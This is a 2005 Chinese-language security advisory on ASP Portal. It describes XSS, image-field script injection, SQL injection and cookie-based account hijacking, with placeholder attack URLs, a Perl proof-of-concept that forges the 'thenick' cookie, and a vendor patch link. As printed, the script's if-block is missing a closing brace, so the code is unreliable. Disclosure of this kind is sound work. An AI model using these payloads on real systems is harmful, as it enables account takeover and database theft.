ASP Portal多个安全漏洞


添加时间:
2005-10-02

系统编号:
WAVDB-00802
BUGTRAQ: 9659

影响版本:
ASP Portal

程序介绍:

ASP Portal是一款基于ASP的使用ACCESS数据库存储站点信息的WEB构建工具。脚本还包括方便使用的管理接口。

漏洞分析:

ASP Portal对外部输入缺少充分过滤,远程攻击者可以利用这个漏洞得到验证,获取用户信息,或执行任意代码,修改用户信息。

 

 第一漏洞是跨站脚本执行问题:

 由于index.asp对提交给'inc'参数的数据缺少充分过滤,允许攻击者注入HTML和脚本代码到页面,导致恶意代码在客户端浏览器上执行。如:

 http://localhost/index.asp?inc='>[XSS]
 http://localhost/index.asp?inc=profile&searchtext='>[XSS]
 http://localhost/index.asp?inc=forumread&article='>[XSS] 

  第二个是Image脚本代码注入:

 攻击者可以注入任意HTML或脚本代码代替在用户'details'页的"photograph URL"的Image值,可导致恶意代码在客户端浏览器上执行。

 第三个问题是SQL注入:

 程序对用户提交给'pageid'和'downloadscat'字段的数据缺少充分过滤,提交包含恶意SQL命令,可更改原有SQL逻辑,获得数据库敏感信息,如:

 http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
 http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery] 

 第四个问题是COOKIE帐户劫持:

 通过修改COOKIE中的'thenick'参数,可未授权以其他帐户权限访问系统。



漏洞利用:

 

帐户劫持演示程序如下:

---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ---- 

#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm 

use IO::Socket;
if (@ARGV < 4)
{
print "\n\n";
print " ____________________________________________________________ \n";
print "|                                                            |\n";
print "|   PROOF OF CONCEPT COOKIE ACCOUNT HIJACK                   |\n";
print "|   Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "|                                                            |\n";
print "|   By: Manuel López #IST                                    |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);

$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3]; 

print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario 

taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result; 

------------------------------------------------

 



解决方案:
厂商补丁:
 ASP Portal
 ----------
 下载补丁程序:
 http://www.aspportal.net/downloadsviewer.asp?theurl=38

信息来源:
<*来源:Manuel López (mantra@gulo.org)
    链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107695531828164&w=2
 *>